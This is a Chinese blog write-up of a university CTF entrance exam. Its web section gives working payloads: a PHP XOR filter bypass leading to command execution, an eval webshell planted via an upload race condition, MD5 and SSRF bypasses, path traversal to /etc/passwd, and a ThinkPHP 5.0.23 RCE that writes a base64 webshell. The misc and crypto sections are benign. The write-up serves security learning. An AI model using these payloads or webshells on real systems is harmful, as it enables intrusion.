云曦2024秋季学期开学考复现

Web

学习高数

资料:命令执行中关于PHP正则表达式的一些绕过方法_正则表达式中过滤的怎么绕过-CSDN博客

记 [CISCN 2019 初赛]Love Math三种解法-CSDN博客

WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘_代码执行 异或绕过-CSDN博客

浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客

1.根据提示,有10000个页面,index1.html...,并且经过测试发现几乎所有的页面回显的内容都一样,这个时候就会想到会不会有不同页面的情况

2.这里使用bp进行爆破,发现8887页面的回显内容不一样

3.访问cvFXZohgjf这个文件,得到php代码,接下来就是代码审计

 <?php
error_reporting(0);
//你的高数怎么样
if(!isset($_GET['GS'])){
    show_source(__FILE__); //这部分代码检查URL参数GS是否已设置。如果没有设置,它将使用show_source()函数显示当前文件的源代码
}else{
    //例子 GS=20-1
    $content = $_GET['GS'];
    if (strlen($content) >= 60) {
        die("不是哥们"); //代码首先获取GS参数的值,并检查其长度是否小于60个字符。如果长度超过或等于60个字符,则脚本终止并显示消息“不是哥们”。
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("新号别搞");
        }//代码定义了一个黑名单,包含了一系列不允许在GS参数中出现的字符。然后,它遍历这个黑名单,使用正则表达式检查$content中是否包含这些字符。如果找到任何黑名单中的字符,脚本将终止并显示“新号别搞”。
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("虾啊");
        }//代码定义了一个白名单,包含了一系列允许在GS参数中使用的PHP数学函数。然后,它使用正则表达式提取$content中所有可能的函数名,并将这些函数名与白名单进行比较。如果$content中包含任何不在白名单中的函数,脚本将终止并显示“虾啊”。
    }
    eval('echo '.$content.';'); //最后,如果通过了所有安全检查,代码将使用eval()函数执行$content中的PHP代码,并通过echo输出执行结果。
}

要求:

1.字符长度
2.过滤字母、部分特殊符号,注意这里虽然过滤了部分字符,但是没有过滤^,所以我们可以异或取反创造我们想要的字母
3.绕过preg_match_all

4.既然没有ban ^符号,那么我们就可以通过异或构造想要的字母

给出脚本:

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            echo($payload[$k]."^$i$j"."==>$exp");
            echo "\n";
        }
    }
}

5.构造payload,得到flag

?GS=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag

你能跟上我的speed吗

资料:第二个资料是使用的方法,比较有用

文件上传-条件竞争-DoraBox_12333119的技术博客_51CTO博客

1. 经过测试,发现文件上传之后得到的都是同一张图片,根据题目的意思,发现是和速度有关,想到文件上传类型中的条件竞争,上传文件写入一句话木马:

<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[cmd]);?>');fclose($op);echo(333) ?>
使用fopen函数以追加模式("a+")打开名为"shell.php"的文件。
如果文件不存在,将会创建该文件。
"a+"模式意味着文件指针会放在文件的末尾,用于追加内容,但也可以读取文件。
使用fwrite函数向打开的文件中写入PHP代码。
这段代码是一个简单的PHP后门,它使用eval函数执行通过POST请求发送的名为"cmd"的参数的内容。
@符号用于抑制错误消息的显示,即使执行了非法的PHP代码,也不会在输出中显示错误信息。
使用fclose函数关闭文件指针。

 2.抓包上传文件的请求并发送到intruder

3.抓包访问上传文件的路径

4.两处的payload type都设为null payloads,payload setting选择Continue indefinitely(无限循环抓包)

 5.两边同时爆破,在文件上传路径页面爆到显示333页面停止

6.发送到repeater,更改1.php为shell.php

7.最后使用蚁剑连接,成功连接

8.找到flag

ezezssrf

1.进入页面是php代码,进行代码审计

一共有四个地方需要绕过:

第一处:md5的弱比较绕过,使用数组绕过

yunxi[]=1&wlgf[]=2

第二处:强制转换成字符串型的md5的强比较绕过

参考:md5强比较&弱比较-CSDN博客

第三处:ssrf的相关绕过(@)

GLG=http://blog.csdn.net@127.0.0.1

第四关:无回显的RCE,tee命令

cmd=cat /flag | tee 1.txt

2.构造payload

yunxi%5B%5D=1&wlgf%5B%5D=2&yunxii=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&wlgff=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&GLG=http://blog.csdn.net@127.0.0.1&cmd=cat /flag | tee 1.txt

 3.抓包进行传参

4.页面访问这个txt文件,得到flag

小小py

资料:任意文件下载、文件读取_poc-yaml-hanming-video-conferencing-file-read wind-CSDN博客

Web漏洞-任意文件读取漏洞-CSDN博客

任意文件读取漏洞的利用指南 - 简书

[第一章 web入门]afr_3_ctfhub web afr-3-CSDN博客

考查:任意文件读取、session伪造、目录穿越

1.打开页面,题目的大致意思是我有1336金币,买flag需要1337金币,点击上面的大图,会直接下载图片

2.用bp抓包,发现图片的下载路径

3.尝试任意文件读取,../../../../etc/passwd
如果存在回显,则代表该网站存在任意文件读取漏洞

4.接着查看当前进程运行的环境变量/proc/self/environ,得到flag

真正的hacker!(flag1) (flag2)

资料:https://www.cnblogs.com/arrest/articles/17515491.html

1.打开页面,发现有ThinkPHP V5的字样

2.一般遇到ThinkPHP框架,就要搜索相关的版本的漏洞,传参?s=1,出现具体的版本,5.0.23,那么就搜索相关版本的漏洞,发现是远程代码执行漏洞

3.get传参?s=captcha,post传参,查看系统信息以及使用的相关命令

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

但是我们要知道文件写到哪里,先pwd查看下目录:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

注意:这里ls,发现可疑的uploads,刚好这里涉及到远程代码执行漏洞

4.查看根目录,发现flag1

5.获得flag1

 6.发现页面提示如果要得到第二个flag,就要进行getshell,既然知道了路径,又可以写了一个文件,于是就写入webshell ,但是发现页面报错

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo <?php @eval($_POST['cmd']); ?>  >>/var/www/public/shell.php

7.发现行不通,可能是什么东西被过滤了,试试base64的,发现蚁剑连接,连接成功

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" |base64 -d > /var/www/public/uploads/shell.php

8.这样可以找到两个flag

文件上传

参考:SUCTF2019 upload-lab2

云曦2024秋季开学考-CSDN博客

1.首先在admin.php中找到有关flag的地方

2.很明显要触发__wakeup()魔术方法,触发__wakeup()就需要触发反序列化

misc 

misc1

1.解压之后得到pcap文件,发现一个长度规律,两个稍微比较长的会夹着一个比较短的

2.追踪数据流,发现长度短的隐藏着flag的信息

3.将含有信息的追踪流拼接在一起,得到flag

flag{7823yed-3892hu-7euiwb-euwidbh82-7ueidw}

misc大杂烩

第一部分(盲水印)

flag1{hdy12- 

第二部分(word隐藏文字)

打开需要查找隐藏内容的word文档,按【Ctrl+A】全选文档,然后单击鼠标右键,点击【字体】,打开“字体”对话框。在“字体”对话框中,将“效果”栏下的【隐藏】取消勾选,然后点击【确定】,这样文档中隐藏的文字就全部取消隐藏状态并显示出来了,且可以在打印中显示出来,方法很多,可自行查找 

flag2{1yhgzc5- 

第三部分(文件头修改+base64转图片) 

拖进010editer中发现是base64编码,这个时候想到base64转图片

解码之后是一张二维码

解这个二维码

 flag3{Ypt0a2-

第四部分(Deepsound音频隐写

flag4{ghj8- 

第五部分(掩码爆破+埃特巴什码解密)

发现第五部分加密,用密码解密,把掩码进行爆破

成功打开文件

这个是埃特巴什码解密

flag5{7ugak- 

考点6(文件16进制颠倒)

用winhex打开,发现里面的字符反过来可以正常阅读,所以文件被倒置了,利用python进行倒置回来

相关脚本:

with open("原文件位置","rb") as fs:
    with open("flag","wb") as f:
        f.write(fs.read()[::-1])

将文件改成zip文件,得到第六部分

Flag6: 78uiag}

Yunxi{hdy12-1yhgzc5-Ypt0a2-ghj8-7ugak-78uiag}Yunxi{hdy12-1yhgzc5-Ypt0a2-ghj8-7ugak-78uiag}

misc2

Crypto

mmmd5

1.打开txt文件,发现一个规律,每一串数字用md5解出来就是flag,可以直接一个一个找,也可以写脚本,进行解码

大佬的payload:

import hashlib
 
# 给定的 MD5 哈希值列表
output = ['0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
 
# 常见字符及其 MD5 哈希值的字典
common_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-"
md5_dict = {hashlib.md5(char.encode()).hexdigest(): char for char in common_chars}
 
# 还原原始字符串
flag = ''.join(md5_dict.get(md5_hash, '?') for md5_hash in output)
 
print("Flag:", flag)

babycrypto

原题:https://blog.csdn.net/2301_82327951/article/details/138328929

本质就是将flag转二进制再用0填充,得到514位加密后二进制串,再将二进制翻转后进行加密程序custom_add,最后直接输出结果。

加密程序是按位置值进行加法后取模,于是反向得到解密方案即按位加上(10-位置值)后再对10取模,接着利用现成的翻转函数,从而得到填充后的二进制数。不确定填充了多少0,保险起见手动从最后一个1开始去0再转字节型字符串,若不成功就加一位0,不过不需要加。

from Crypto.Util.number import *
from tqdm import *

b = 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567891134567799012455779902334677900124556899012356679001344567990233457780113445788911245667991134457799122355788001245578890223467799013445688902335578800123457889113346778902344567991223557880013355689911245667900124556789122355788001234678891133467799023445679902334568900123556899012456679001344578801233467789112355779912234577990233556780113
c = list(map(int,str(b)))

#part1 reverse custom
for i in range(len(c)):
    c[i] = (c[i] - 1 - i) % 10

#part2 recover swap
for i in range(len(c)//2):
    temp = c[i]
    c[i] = c[511-i]
    c[511-i] = temp


#part3 get flag
flag = "0" + "".join(list(map(str,c)))[:-1]
print(long_to_bytes(int(flag,2)))

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值